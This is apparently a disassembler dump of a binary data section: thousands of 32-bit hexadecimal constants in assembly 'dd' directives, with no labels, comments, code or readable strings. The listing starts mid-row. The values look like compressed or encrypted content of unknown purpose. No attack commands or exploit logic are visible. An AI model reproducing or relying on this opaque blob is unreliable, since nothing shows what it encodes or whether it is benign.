0C4F48A26h dd 9060B125h, 0DFC50F98h, 3EF52F58h, 19683028h, 0DF57B99Bh dd 0E58D8271h, 0F4D45E6Ah, 7D4A465Eh, 9A7FF801h, 0B93DD129h dd 9F101078h, 3CB20BB6h, 761CC2D3h, 300DC48h, 54B3743Ah dd 3B5018A3h, 933D5924h, 0B52DDE50h, 3B00EC37h, 5ADD73F7h dd 306C7EA2h, 2921AF93h, 4B00C79Ch, 70AE8847h, 0C979E7h dd 6D7368E3h, 3C3253Dh, 5CC0545Ah, 40CD26Ch, 0EF26EA37h dd 0E2ACA2B2h, 88AE3003h, 19636100h, 57393DE8h, 0B1772D65h dd 0D44B8027h, 0C16CBC50h, 802636Bh, 0A089D4h, 95F16223h dd 0F4407CEAh, 2D673D09h, 89190D79h, 330A942Ch, 76C45202h dd 68004946h, 0F1D327E9h, 4D189FF5h, 42213807h, 4F700098h dd 0A2DAB65Eh, 9F139EECh, 60F01BA4h, 0DFFA84h, 0CF5B2DBh dd 6A7EED30h, 0C8934902h, 5BBE10A1h, 0EC6A70DCh, 3CBCB8B8h dd 19C4DC40h, 0DE7D00A4h, 2DD0B595h, 5CB01237h, 67EB2712h dd 760BC0B2h, 44E1FF17h, 98918CBh, 8A291155h, 0DD004C9Ch dd 6F125581h, 0F2DB8DC0h, 0B93709FFh, 0DC9D335Fh, 0EC800411h dd 84C9F4E3h, 421FF95Ch, 801307ACh, 5F63195Bh, 0C5FBD854h dd 9DA2B8DAh, 98E59809h dd 5E604AE4h, 1102F85Fh, 5B241793h, 9BC0E01Dh, 34B280AFh dd 2506CF21h, 24E494C5h, 87EFF360h, 70136F05h, 0A8C84078h dd 0F8F9045Fh, 0A82DD19Bh, 3C3A921Ch, 25024523h, 0F4E2D3F0h dd 891E84h, 3C9FBC0Ch, 4C3E8AE5h, 7D9B0024h, 6919A8CCh dd 0C3E31726h, 0CDF0DC48h, 50A7EB18h, 0ED6B3118h, 4095C896h dd 0AF7B2D24h, 91F172Fh, 0AC18184Ch, 727D19h, 4BFBFF0Bh dd 0DCA26AA9h, 0A4C6E401h, 0AA176531h, 0A10FA841h, 72B7CC28h dd 912F2F6Fh, 0AD164B00h, 41D6B948h, 48835B3Eh, 8C8D38FCh dd 0B03CF8CFh, 0EFE31027h, 0B099383Eh, 0B984491Fh, 0F5210522h dd 8FC4953Dh, 0C026C884h, 2F80118Fh, 0B2878516h, 5E283CB4h dd 32E420BCh, 0A83DDC59h, 42440003h, 1686215Bh, 0EAF50035h dd 958D068Eh, 155F636Fh, 0A43BCC23h, 0DB59007Bh, 943BAD19h dd 74D0025Fh, 0AB17150Fh, 0C7841CD6h, 610B48A0h, 0F1951A05h dd 0BC3E3FA4h, 32A4377h, 15E34F0Ch, 0EB06A81Fh, 433330B1h dd 7533A99h, 0F50208BEh, 41027697h, 745E2D14h, 0FB55C080h dd 9A005A32h, 69358D26h, 442EC81h, 43CB2CEBh, 0B900851Ch dd 106B80Ch, 5274F816h, 6F806F93h, 519F6801h, 0EE402C1Fh dd 606CA014h, 0BA84183Eh, 9E4B1D3Dh, 0E785D834h, 0E9870C0Bh dd 0A512E4B8h, 2D20A841h, 61CF7CA8h, 19538C25h, 78B61019h dd 0C26A254Fh, 5E145EFCh, 7D03B546h, 64AAAE02h, 39A29CE0h dd 0EF535B17h, 364BD844h, 5CA1C900h, 0B9D011Fh, 8484000Ch dd 0BC83DAECh, 5CF42E4Ch, 38000446h, 42E62160h, 0FE121CDFh dd 306EB29Fh, 410B8800h, 0C6839727h, 0B69C8702h, 825D156Ch dd 14584D0h, 0C240E4A9h, 19587CD3h, 644F019Ah, 1750454Dh dd 57C98014h, 8FB7751h, 12D9F8BEh, 8F2170FDh, 0C1AE885Ch dd 0D2B91B88h, 22115497h, 70793881h, 14D4F4A8h, 0BF655109h dd 6A3405C4h, 2E4EB0ECh, 223E8h, 9455ADB2h, 0C7139350h dd 9C9047C8h, 17270A3Bh, 804B5BBBh, 8F61A170h, 8562ED12h dd 0B88878CBh, 5CF07FC0h, 816507AFh, 6893CAE6h, 0BC807145h dd 3D3C099h, 172C6432h, 9EA8B05Fh, 7E007A5Ah, 51BE4E93h dd 0B21E7F5Dh, 0E75417C8h, 2904A7F3h, 7900D492h, 0F0015A27h dd 14B90E05h, 46E00CA1h, 0E3E2E784h, 37E68050h, 0E43BC04Fh dd 1F072523h, 3D10FA36h, 0BEF354A1h, 50DE1AB8h, 0FC59F0D3h dd 8B64C0C2h, 74828239h, 40053F4h, 17ABB69Eh, 0F3D54112h dd 3145B20Ch, 0A6BD0F7h, 25B98217h, 587310F4h, 4EF88C1Dh dd 94A80F8Ch, 4CC0D440h, 7AE05C1Ch, 0CBC4909Fh, 8BA80082h dd 0CCC7C985h, 6F12EBE4h, 0E0724B34h, 0F17B3083h, 8BB3BF10h dd 0F174F6E0h, 0CAD3DC0Fh, 291BC1B1h, 0D42720B9h, 23AC2B4Bh dd 81B429B8h, 0A1B69B7Bh, 68047F18h, 24902027h, 5E8171FDh dd 19F84007h, 79BD9476h, 22DD4300h, 36B06247h, 3AE1055Eh dd 0FCBB8712h, 0E8B44C84h, 2B4308h, 71931430h, 3018C4EDh dd 27888588h, 1D95B726h, 804B913Ch, 6CEE6104h, 6ADEEA54h dd 5F030A1h, 0EC47E326h, 0CCC2292Ch, 4B1822D1h, 4CDEC400h dd 6C6E2DAh, 37B32E0Ah, 8C6DADC8h, 1FC0D4C4h, 912EC79h dd 42C2BE51h, 81872185h, 7CC40ACAh, 6D2D2504h, 0F586C0CCh dd 0C0002528h, 0D96FAC8Ch, 9447EB26h, 6B9B0250h, 747A161Fh dd 0B65E7A00h, 0A28EEE9Ah, 0FB7BF8h, 708597CDh, 0B3234DD6h dd 0E1075C25h, 0DC208D34h, 5F9F7362h, 0D8B4C7F1h, 84209293h dd 0E6E117h, 0E7CA3B4Ch, 0C5B01340h, 0ABFB5E0Fh, 1CA1D286h dd 2488C80Eh, 0F839FBC0h, 659B00CDh, 0DB09F925h, 140BEF11h dd 0A0D59E1Ch, 700D8ECCh, 1004B7B8h, 0D204A87Fh, 0B1E068E6h dd 0B708FC0Eh, 7AD378Fh, 0F92B5CB2h, 8D899480h, 345BDC6Fh dd 0D0A3A412h, 843008A2h, 81FE047Dh, 820E66EDh, 0C54E0D4h dd 486567h, 5C6B12EDh, 0DB4B3161h, 706B0425h, 5DA8F000h dd 287EE6AFh, 2197BB13h, 5EA4D822h, 0A8251248h, 8C01E810h dd 0F29EBC03h, 0D0CA243Bh, 28DF126h, 952F7F62h, 0A480B077h dd 0DBB3630Ah, 0E50BF4BEh, 0B2DD8455h, 0E0ACB8BDh, 0DFE12D0Fh dd 269E203Dh, 5F2C8DEEh, 0D59C38A0h, 0B2F9B099h, 211C7618h dd 0AA57EBD2h, 199D8C8h, 9C66FE65h, 8B31B15h, 0F9AB3AB8h dd 0F11D2517h, 0F86A2EF0h, 51004043h, 2CE37428h, 0FF2FEBCEh dd 2A70B935h, 44BCBC38h, 8AC6008Ch, 3FA4B338h, 245C520Fh dd 0BDC71058h, 0DCDC1324h, 6660200h, 800CC86Ch, 0EB7D1759h dd 537470B3h, 7E1F133Dh, 9FC9BC76h, 7FA82348h, 760F92B7h dd 881C1724h, 5F5BB910h, 0C6FF490h, 0F14BEE96h, 906DF6F1h dd 74E4A02Fh, 8C4244h, 0E9194B85h, 9DED6D05h, 0D99E0D00h dd 1F64E095h, 7C6812A6h, 6F380401h, 9FCCE048h, 0E07D1504h dd 0F09B8BEEh, 61DB4AC7h, 3B77E3C6h, 0B70FD403h, 7AA10FBDh dd 0F9E04AAFh, 75E9EA47h, 0B39B906h, 0B93F09h, 0E632FF40h dd 363CEC71h, 0E7C2A00h, 0F031A792h, 9BEA07C8h, 10326E74h dd 0C149F53h, 62BD2403h, 1212B631h, 20A01D44h, 855F3D08h dd 11360837h, 0BCCA86E0h, 5881041Bh, 0E8993D9Bh, 0D32C82C4h dd 0AD1605F5h, 757A01FCh, 88543CF2h, 0F6C441D0h, 0A3EC30h dd 92DBCA89h, 0AFF5A0C2h, 5F26191Ch, 98C79640h, 25270CA5h dd 0F817B2EFh, 0EB830711h, 81F4491Eh, 6EB78700h, 248E8875h dd 0D6C34A88h, 0A0BEB8ABh, 0A6B00B26h, 0C8681747h, 880056F4h dd 8265F833h, 7678DFF9h, 5A49134Dh, 0E010F67Ch, 87293EEh dd 42DEE3E6h, 7190260Bh, 0C30B3CDCh, 24F03C47h, 0C92120C0h dd 4ABE0EA1h, 0B30CB6B2h, 7673F0D3h, 22B170FEh, 45003C08h dd 160D8804h, 3646A5Ah, 0FABED38Ch, 990AA256h, 0B0A693BFh dd 0A529D580h, 53B1170h, 30E36CEDh, 0BC104020h, 0C8477CCBh dd 0E99B2302h, 0C2A00AEBh, 0B81755F8h, 90814991h, 0C095D69Eh dd 384C5B6Ch, 0C0B42498h, 0A9E009DCh, 94720901h, 350A5C00h dd 4C597492h, 8DF7003Eh, 8F8BAB54h, 22263DB7h, 0E305DAFFh dd 0A0D13B93h, 6E2F246Ah, 0B21400CCh, 0DD062A52h, 0A8932AFFh dd 0E30A0098h, 5BDAB3B0h, 9F2F8A32h, 0CB842016h, 0CC07E1h dd 61B51BEFh, 0AF83EE14h, 0DDD7D80Fh, 9A891CEAh, 8CF040F8h dd 23B315C8h, 4ABC9052h, 85518AEEh, 42E2BB0h, 0ED010723h dd 989D08ABh, 433C6C38h, 9505FFC0h, 61B1A01h, 0B00EA6ABh dd 7F108712h, 95891FB9h, 8D4CF055h, 9DB0B79Dh, 0A7FD6BEDh dd 0A8014BACh, 0C1ED5C26h, 1EC5B58Bh, 0D3FF5A80h, 0E5B3D781h dd 8510C361h, 97FA2B0Dh, 801C9135h, 4363C5AFh, 71D00075h dd 0E9F532BDh, 24D608E1h, 0ACCD98BAh, 55D6F46Bh, 19C4B445h dd 0D3E0AF65h, 81E21D3Ah, 0BA09D8BDh, 26C107D0h, 12A860Fh dd 17750CADh, 8515111Eh, 9804FC57h, 0F0210B1h, 73D50B80h dd 6EDD00F2h, 5301CB7Bh, 0E19D8B0Ch, 182B2E0Bh, 0C12A9BDh dd 0B3E1E381h, 7365188Dh, 0FDB0D25h, 6A4D9D85h, 1CB8EBB8h dd 9F51018Ch, 3D1D708Eh, 83A43074h, 0F24ABD14h, 848540AFh dd 3BFF515Ah, 152387h, 8D898E98h, 0B8C52EA9h, 593B71E9h dd 0F001923h, 6E49C093h, 0DAB1A32Fh, 0F9C20E32h, 5E8885C7h dd 2463B899h, 7D2A300Dh, 0A5200B33h, 0D11B8419h, 0DEECFB1Ch dd 0CE7CBB7Dh, 5A2370Ah, 836FEA8Dh, 97FEFF23h, 0DB8C6630h dd 0BD891560h, 8B098CDDh, 0A1207D8Dh, 4C3F661h, 147CBFA1h dd 2D05FE0Dh, 43451820h dd 301CE20Ch, 1A00CF38h, 0B33186FDh, 666CE0Eh, 0E81684BFh dd 1002B07h, 0E50CF554h, 0A0667D3Eh, 0B5905FB1h, 4E80035Ch dd 257249CCh, 2491000Ah, 52C88B4Bh, 76B5505Bh, 97A480E7h dd 64E0AC5Ch, 1E0086E0h, 0FB0CC3ADh, 644656F7h, 4008547Dh dd 0D65B1740h, 4ED81F91h, 4D14A3Ch, 18467CCAh, 0A3FC6930h dd 6AE1B021h, 0E3AC7FBDh, 0FE55FD00h, 0B41A749Bh, 0F570093h dd 70E6F0B7h, 2FC013E9h, 0C837B3A8h, 3696005Eh, 804E94DBh dd 0B1006393h, 7EF057B7h, 9371E43Ah, 712B7930h, 0CCD00818h dd 0B8806D00h, 0F98C78Bh, 0BAD85AB6h, 0C500636Bh, 91715C6Ah dd 39245FA1h, 0E10007F5h, 55B58933h, 48359024h, 0EA9690BAh dd 63C3CC9Ah, 41F7D9B5h, 43FB531Fh, 0C6C0F6A1h, 0C005FE90h dd 0C5B50964h, 0C38B5E90h, 0FBE85AC1h, 0FF39476Eh, 0F1FBA601h dd 250AF920h, 7606BD60h, 0C2E2F729h, 0E61816D1h, 3B133Fh dd 0BA946CCFh, 0B1D82B28h, 1815D17Ah, 31DD06F9h, 0F42939BDh dd 93FA9EC0h, 0FB0F5250h, 8B028CC8h, 585AF0E8h, 0F21660FDh dd 0B5935E2Ch, 0F5C800DEh, 0B84DA818h, 436213CEh, 0C4B5FF76h dd 0BE74B584h, 0C7B801D6h, 0B99D897Fh, 1654322Ah, 0CEBF2205h dd 0C01A8829h, 0A621C810h, 95CFB90Eh, 786F13B0h, 0E200F53Ch dd 0F1E7164Fh, 4AB0E874h, 0A2325920h, 446F67E3h, 31956016h dd 99E99060h, 181AD167h, 705B38A9h, 9F7B1205h, 0C44C8760h dd 0E07141Bh, 423C61FEh, 4B4D830Fh, 0E8EB106h, 3604781h dd 2407398Dh, 0D52CBD9Ah, 9A42228h, 0DC82A4B9h, 0C508E74Ah dd 3609E618h, 0C3430364h, 1988B88Eh, 5F101DC0h, 0A4B12EDEh dd 0E0426071h, 43246F5Ah, 6682E7E1h, 4A187DBEh, 35F3D5C2h dd 0DC7F885Bh, 198E12A6h, 0BEC016A1h, 0B9CB7A9Ah, 63CE6618h dd 0F6818200h, 822255Ah, 0EE4B1219h, 9502054Fh, 6ECB58C1h dd 8638880Fh, 0EC484801h, 1E028C19h, 55F17664h, 2097985Ah dd 1DDA0429h, 0C9B97DEFh, 51C620F4h, 0C183A316h, 5100617Ah dd 37165F58h, 0FB18C055h, 9D586D1Bh, 48DEB58Dh, 709C5FADh dd 377251Eh, 860FD982h, 0F18D5109h, 0D7181Ch, 8E7EDC37h dd 20DEEC21h, 0D94887B8h, 1D3510C8h, 4BC1F617h, 0C89FAC7Fh dd 9F1D91h, 69A05F52h, 7E390572h, 0A49E5CF5h, 0A9C0A09Ah dd 995E555Dh, 0D5438300h, 0F605B75h, 0D6998Dh, 858BC38Ah dd 0C69221E9h, 56582B79h, 0C0CD3C70h, 343D125Fh, 3738D308h dd 0F1483D6Fh, 0DBD0B06h, 0E9383014h, 0EC39494Dh, 2D220028h dd 66CF10ADh, 0FC0BE781h, 75C08BD1h, 7260C46Dh, 98D3B71Dh dd 1A19D34Dh, 0C79DF852h, 19801B91h, 859448E6h, 9623110Eh dd 0ED9A6C7h, 0CF9B13FEh, 560AAA9Ah, 0BCB5A18Dh, 0BBC76204h dd 8586E3B3h, 57596310h, 51FF3D9Ah, 614C8814h, 527F2618h dd 0F97E59DDh, 21DE30F5h, 0E57D1758h, 0F04FE3AEh, 98BFD70Eh dd 69920E9h, 0AA20564Ah, 314DC3h, 3664DE08h, 3893449h dd 0D7130200h, 5EF0C5EAh, 0C465A590h, 4EE1601Bh, 3BA5024Bh dd 539352F0h, 0CF951DDh, 0AE2F05E8h, 0FBEEFF0Fh, 80865479h dd 4EC3A787h, 26F235h, 83157B80h, 401CB31Fh, 8245761Eh dd 815E2201h, 0E2FC19D6h, 0BB5FEE04h, 0AFDA78F3h, 4F3FDB03h dd 26C99D8Dh, 0AB2311AAh, 274A7843h, 0CC9BF02h, 97584719h dd 801A1123h, 0F0A57E35h, 0EB1E179Ch, 230F3AF9h, 0D08A001Dh dd 2CAF95FCh, 8356FA02h, 0DD9D29D6h, 0A196E370h, 0CC802DCh dd 2864884Eh, 0C2C53041h, 0F749E900h, 6E2CE3FFh, 21224548h dd 5F40E84Fh, 3BD8D4C4h, 57300E5h, 17339655h, 9500CEBEh dd 6CBF7B74h, 0A01A630Ah, 0B9A1BDDEh, 6FC1172Dh, 29E600DEh dd 0FA1ABA90h, 96E07F34h, 0ECDB40B9h, 3900D7B8h, 7147783Dh dd 3E19FEAh, 0F8092D86h, 0EBD9CAA5h, 1C31B804h, 6B2B880Fh dd 0A45AE00h, 57038B1h, 673D007h, 47CD8C29h, 63666006h dd 0A1D8405Ah, 8D001FF5h, 2494ED85h, 0D9B5772Dh, 0B0D30782h dd 45C682B3h, 8640A12h, 501D19D1h, 842404CBh, 2ACCB5D4h dd 0BE06C0FCh, 55820130h, 0FF8F8AC1h, 1376061Eh, 0CD3A93F0h dd 9EED7301h, 59960B18h, 16F98970h, 0FA623FE5h, 12BFDCC8h dd 0FAD28CEh, 0BE76C0F0h, 0C2C02BDAh, 78DB1A25h, 0E790FC26h dd 50592B07h, 9247BE57h, 119F9DA9h, 53888515h, 0BB08F508h dd 43CF802Ch, 565B6160h, 0A7E6BBEh, 0A8F0FD2h, 58609E2Ch dd 143FC86Eh, 0A924F852h, 0BA3BF701h, 0ABB68F13h, 88790F70h dd 0BCC0D3E0h, 9635E912h, 1D3E8580h, 2F5F67ABh, 0F197E6Fh dd 19F3089h, 66A6EEB6h, 0AD305D08h, 3073EE12h, 59759873h dd 4BBB0197h, 0E927C2F0h, 0E1ED6CAEh, 2809FF99h, 8C1AACC8h dd 34E09C01h, 0C918BC96h, 16077370h, 0CF7E4F9Bh, 247022F4h dd 40AFB523h, 17459D8Bh, 17F107B9h, 5216E118h, 0DFCCF63Ah dd 7D951189h, 82C2882Fh, 0FDC8BD83h, 77CBBBD9h, 1AE00E47h dd 5E0C034h, 47351328h, 0BEB88024h, 0E9F408DCh, 4D2FB669h dd 9D8C09Ch, 0E5B2185h, 2F5EA050h, 80473D01h, 802F507Ch dd 0CE0558EAh, 61E9A473h, 0B208E3AFh, 0EB1F301Dh, 0C4878600h dd 0CD53D9F7h, 60899CF2h, 29059D09h, 68E164ACh, 8C18F875h dd 39309B1Ch, 0EA0B7793h, 890F2E8Dh, 7F2B0B9Dh, 21E1974Dh dd 70E8CF8Dh, 0F5C1A03Eh, 0E22EBC1Ch, 60898A0Fh, 2D65E188h dd 74AB3A8Ah, 0B9021846h, 933055A7h, 0D038D160h, 8B4450BCh dd 1AAC9D52h, 1B94C0FFh, 20C9754h, 227F298Fh, 0E5200FE8h dd 193BACh, 0CB2B9FD4h, 0ECA5251h, 1DB74709h, 0CCC4985Eh dd 225A3E35h, 0A6EA0F7Fh, 4DE113FCh, 60F03C6Fh, 336BBE32h dd 50E877D8h, 14001D91h, 2608290Eh, 5B1AD93Ch, 0B06BFB90h dd 89E5E26h, 212C2961h, 37A53E2Ch, 0B0D10E2Bh, 8093DB13h dd 95075B56h, 0AEC609B8h, 1F688B0Fh, 0BC00CE9h, 0BFFA271Fh dd 83B900A2h, 0B78B4823h, 703BE601h, 0E4F70966h, 69630271h dd 2BE10907h, 62983157h, 105F2D51h, 5B8BFC27h, 0B86BFEC3h dd 11D2C02h, 0DADF3CADh, 0D0EFF515h, 0B41F2Eh, 0B0C73346h dd 9AEA8A67h, 113E5F5Eh, 4D341623h, 0F61B44F1h, 93742DCEh dd 0B5EF801h, 692A11BDh, 0BE965012h, 5009B8FCh, 440B830Fh dd 0BE054440h, 0DB263704h, 0AFA9934Eh, 7B3F78B8h, 8205B0Fh dd 41D58D29h, 0B2393118h, 0D8610C1Ch, 323D202Fh, 0E985330Dh dd 802C1D0Bh, 324C12D3h, 59128E21h, 93299D6Ah, 513F5475h dd 5BD91150h, 89A74212h, 766AE585h, 0ED5F218Bh, 39F86088h dd 0E85FD4A8h, 0EAE3B121h, 0EA3CAECh, 6863837h, 492C3440h dd 98170A12h, 6704BD09h, 5F0B07B1h, 1241A069h, 0ABC090E9h dd 0F3E709F8h, 6C2BF5DDh, 679A10C2h, 0E55ADDh, 41AF2057h dd 53A938F0h, 3298DD00h, 6D9D31B7h, 7E6DD40Dh, 95F34464h dd 0DDF6BE4Dh, 2B9E1AB1h, 0BB1A6F12h, 2C53AA5Ah, 42582923h dd 31E70409h, 0B183995h, 0C0C9CD58h, 1B26714Bh, 741FEE0Bh dd 928869F5h, 0E2FE220Dh, 0A3F4301Bh, 0D422B901h, 0F8DE82EEh dd 0FD6307DDh, 0F9301BF2h, 54A801B9h, 8AD5542h, 96A66889h dd 0A56FA584h, 75A7990Bh, 0D178669h, 7CB0D126h, 0BE0B2E7Eh dd 62E1D5C7h, 0C138ED84h, 0CC38F67Fh, 0B52DBD01h, 0A0A3B12Ah dd 0DE942DA4h, 27F7D207h, 31C27ABFh, 0A2F5CC3Ah, 4D4772FCh dd 0E0BCA35Bh, 0BD677590h, 57942BB7h, 51169EC0h, 0C793B65Eh dd 673093Bh, 0D8E9E0D3h dd 0E8742CB6h, 0F69040FEh, 0D70254DBh, 334F45B5h, 0F1E1407Eh dd 27E9365Fh, 0FA7B1227h, 86EC05Ah, 7ABC5800h, 7821A297h dd 467E94B6h, 77A70517h, 9B046715h, 5EA5031Dh, 7B35402Eh dd 0F5CB351h, 0D82D8751h, 0C0D6FFB7h, 5035958Fh, 0B1B6BF2Bh dd 0C78D79B3h, 0D7634099h, 10A2800Fh, 0F955ADDh, 782AC62Ch dd 982E30A0h, 83008DADh, 877BDAD7h, 26BF6623h, 16A32228h dd 42D5CDFEh, 53294133h, 18185954h, 2F2B0BA3h, 24443B35h dd 0EDB11900h, 0EA675004h, 0A25A00B5h, 48D28146h, 4B16E240h dd 81648419h, 0A202CBCh, 9233903Bh, 7F8E2F7Dh, 0E4C017C8h dd 95379C97h, 946D4910h, 1229A800h, 0DD428C2Ah, 9C801771h dd 23163ACEh, 49620317h, 0BA100AB8h, 81000819h, 0E8A522F7h dd 0BD3E3155h, 0F43B4E3Dh, 0B4001D23h, 6B80B6BCh, 0DEA800B3h dd 9D094584h, 6BB43169h, 6093D4BAh, 0D701AA90h, 0C02C781h dd 0B8E765ABh, 50F9CDC2h, 5721FA61h, 8BB0F431h, 23020F5Dh dd 75BD29F4h, 0BB3C801Bh, 5BFC50D0h, 0A16E61h, 8A050657h dd 0BFFF80h, 2858904Ch, 94E95E53h, 0EE29A2B6h, 461815D1h dd 7EBE1400h, 0E80C1B6Bh, 0A91FC012h, 77CDBDEh, 4FEB3E4h dd 91034600h, 797490C3h, 72335C05h, 5E72304Fh, 0BE05C18Bh dd 31148D4Ch, 0E81183B3h, 37D0008h, 62194196h, 0FAA481Bh dd 2F0A0510h, 8FF7105Eh, 43EA1EADh, 1C0B9132h, 0AA8078F8h dd 22369F09h, 323D09FBh, 51375F5Eh, 1A41F982h, 4072747Fh dd 0AB3F1794h, 16C27916h, 1640B6CDh, 247813D7h, 639B5090h dd 10F0BF1Eh, 0B00ED0Eh, 8F5ED315h, 690544Bh, 0B6FEE7BEh dd 112A06Ah, 1382959Dh, 726A80E9h, 1B7CC7Ch, 0FAC59408h dd 80A726D5h, 0FBBF0F30h, 2A958956h, 0C291122Dh, 1F09FD94h dd 61DE1D54h, 0BED6CCBCh, 2EA66CD7h, 1185757h, 27905FEBh dd 0B485260h, 9298585Ah, 6561C23Dh, 70E28117h, 0BD902364h dd 1EE8B849h, 0CDF1F513h, 2F44D78Fh, 63096E6Eh, 575B6A27h dd 0B71AB78h, 2C6F3D86h, 0B6F00C05h, 0FDC24181h, 73756A33h dd 96E2821Fh, 58E4275Bh, 14C46485h, 0C6821862h, 7C5A1939h dd 0BB0B852Dh, 456C4A8Ch, 0B35FE939h, 0A07846Eh, 8A6F1484h dd 0F6A4CD01h, 20135DC7h, 114181D3h, 6DF26D68h, 11E99D29h dd 910A8415h, 90F2D1C3h, 0C42D1D9Dh, 0E88C0F60h, 2B858E27h dd 0A753530Eh, 1F006EB7h, 0BE7388D3h, 2509F0B2h, 0AB835D95h dd 7ED0F5Eh, 0E5B52B3Bh, 22A3B307h, 898B8091h, 8D0B11Eh dd 830102D9h, 1F084BBDh, 4522AF6Dh, 92BB8FECh, 78E9F305h dd 1CF878A8h, 3BBEFC8Ch, 0AF04FC9Dh, 0F25EC271h, 0FEB900B7h dd 0F847F917h, 74B80D43h, 0F2AC98C1h, 520BE1E2h, 82DBA34Ah dd 1274770h, 95A3F052h, 6FF88B2Ch, 334245ADh, 0BE668870h dd 0A4FCB724h, 20BEF422h, 2F7E00DEh, 0F2E5D8CEh, 0C2B01278h dd 6CF1AB81h, 3CDBD251h, 0BA346480h, 0E92D66B6h, 424E0B5Ah dd 7899536Ah, 0E824C164h, 9D091553h, 0BAE1CB2Eh, 2D797E71h dd 14677311h, 91AB4680h, 1C60581h, 0B74FB4A0h, 4C6A4A7Dh dd 1E7D9402h, 6F43559Ah, 0FC5417B2h, 72D62A68h, 747A0B33h dd 5750601Bh, 95273192h, 0E94B48C1h, 7A044E31h, 2A6100DBh dd 0C0ECA379h, 29EA1E68h, 4A852A9Dh, 0CB799BB0h, 0AC2CAC46h dd 56255AFDh, 3DE3052Ah, 4E2AA313h, 0C5000C6Ah, 272BDBCBh dd 0B44F49B6h, 0BD23FC01h, 663E02F1h, 0DE4D08Dh, 158D1A9Fh dd 801D1168h, 8350E0D8h, 0A9E600E8h, 0BFF987A1h, 0D72D9B41h dd 0F8140559h, 6E6E44B1h, 0E02F02FFh, 406B8341h, 2FFE774Ch dd 0A0557D0Fh, 5E885889h, 0F39E01D6h, 2BB2974Ah, 857520D8h dd 0CCDF236Eh, 4850EBEDh, 1C13F557h, 2E66F24h, 1125E359h dd 0F4EB5843h, 6EDC969Fh, 2FB9497Dh, 0F36995D1h, 69A850C2h dd 0B5318A16h, 6FB01922h, 13E4CDFh, 100425ECh, 5114ECB7h dd 5D000EA2h, 7B539F8Ch, 411C937Eh, 5FD72C6Ch, 0FBF9780h dd 0BD4D9017h, 0D624D4h, 9AC5744Ch, 5E68C42Ah, 8BA2B60Bh dd 5B6069F0h, 4BD96012h, 0E042A80Fh, 0C3240901h, 0E500975h dd 9E02412Dh, 780C3229h, 247D2D85h, 0B7970C46h, 8237008Fh dd 0F03D010Dh, 9693B5FCh, 441F2D88h, 0DB6D94F8h, 0B7F4C025h dd 7F6291A0h, 2DCD12E3h, 991527Eh, 600FF0FDh, 27EE8100h dd 0B79F580Eh, 6F8C0010h, 0A14E57A5h, 524FFE0Bh, 20CB7868h dd 0BE4C2F81h, 19257491h, 94869061h, 0A2371CBDh, 0D1954B01h dd 0A85F39A5h, 0E0DAB40Eh, 0B7EE43C0h, 422DD66Ah, 8084924Fh dd 27D82AEEh, 2461B63Ch, 0C650889h, 4849222Dh, 0D091D301h dd 6137AE5h, 36E23802h, 14E11D00h, 5EADFB32h, 0A0DC2101h dd 2E6C1BCCh, 0B6CA87D8h, 0FA8B0B5Dh, 0EF703A64h, 27C3D95h dd 0EE8A608Ch, 0EF00FDF1h, 10EA88A4h, 0C08701C2h, 0B0CDF93Dh dd 6CDCCCEDh, 814E7EEEh, 0BC590420h, 6AAE00E5h, 0D6BEAFF7h dd 4809683Eh, 5B615B56h, 181D5957h, 6F10049h, 66E8038Fh dd 654C837Bh, 0BC110A3h, 0B4820F1Ch, 8035A833h, 424536B8h dd 0DF0029Ch, 5BC028F7h, 0CEE0566Dh, 9254Bh, 2811C860h dd 0D18D292Ah, 0A4560D5Bh, 94269E98h, 14467C2Bh, 0B22D42Eh dd 0D710E9FBh, 0C0E4F38Bh, 0BBA48AF8h, 2D8D9FA0h, 5BB0740h dd 48B0C032h, 17AB561h, 6D0A3192h, 89D04A5Bh, 69397B1Dh dd 4B735234h, 5C89B271h, 8B6D220Dh, 0DB4B850Bh, 8EF2D8F1h dd 4ABD312Dh, 0AD53D1E3h, 59017FB7h, 3171B50Bh, 0F6B46F6Ch dd 10D8A04Eh, 1EC51680h, 0F5AE61D2h, 0B3FD6F90h, 450535ACh dd 0E796E1CFh, 2A009CE2h, 637CD785h, 0D60A9C28h, 0BA8B151Ch dd 531C0810h, 131A645Eh, 0FE2382F8h, 14038446h, 0D4A99346h dd 45D3D0EFh, 302DD35Dh, 0CF97CDB7h, 79EAA300h, 9F4505E3h dd 448BA752h, 5F566016h, 0E340A8C4h, 0C711C11h, 93F182A1h dd 0F06638C2h, 0B7AD8A02h, 0AF5EB563h, 89F84379h, 4EEDE02Fh dd 24982C3Fh, 0A3E48142h, 66F98B5Fh, 929AF0FDh, 4F57016Ch dd 0F7B62DB5h, 0F5E1602Bh, 7AD104E9h, 6E3F5F52h, 99F200A1h dd 0D505F32Fh, 2C6131A7h, 0F40170B6h, 0ECF2BE17h, 0E96A7F0Bh dd 8B5F61A3h, 74C192D3h, 5C00DCBBh, 0E7562602h, 4C13B1h dd 816065D2h, 426287DBh, 0F1021E5Bh, 0B0939B5h, 565A4E46h dd 35EB500h, 9F2109B5h, 3482B4BAh, 900131B9h, 1FF90EBEh dd 37E2BD45h, 2C845700h, 8F978D79h, 0A0730A00h, 1C76193Dh dd 5FFC17B5h, 802C9B90h, 203155BEh, 890F2839h, 0B6517E5Ch dd 8DCD2D7Dh, 0C135BDE0h, 2AAD06CFh, 4CEB309Dh, 1D9B797h dd 0A31ADD75h, 659C4007h, 0EBBC1F14h, 790E4DEh, 4B14C88Dh dd 0FDA2849Bh, 0BF037CFAh, 6B39A624h, 6EAEBC50h, 0EE9F0132h dd 0BBCF3F5Bh, 0DC4D42AEh, 2F8323Fh, 72300E7Dh, 0C7CD4026h dd 0DE624F1Eh, 0E30493F6h, 0D221289h, 8C84B720h, 0CA490394h dd 53F505D3h, 85878DF9h, 4070CE76h, 8B4C57B3h, 5F6D4877h dd 0AE61DE84h, 1723CE6Bh, 86DB7802h, 0B4174F7h, 0ED37D3FFh dd 0BE665281h, 696CF9B0h, 0F82351CBh, 7EAE95Fh, 6F6268D9h dd 41470B14h, 5C016789h, 570EF41Dh, 42FB8B62h, 0D32B3D9Dh dd 921D04Ch, 6602BCFCh, 913BE487h, 433176CBh, 7CF0DA8Eh dd 96000616h, 91287E6Eh, 0A04961BAh, 5B5D2C8Dh, 8771345Eh dd 25ADA840h, 0E7EA9342h, 2FDDA05Ch, 39BE0977h, 0B001BAA0h dd 6C1299BDh, 172D8E59h dd 0C2769BAEh, 61FDB109h, 237BF7ACh, 102A6625h, 0C7B0F57Fh dd 9FAD75D2h, 4A22C984h, 16F44231h, 502FE6C6h, 219C3666h dd 1F544597h, 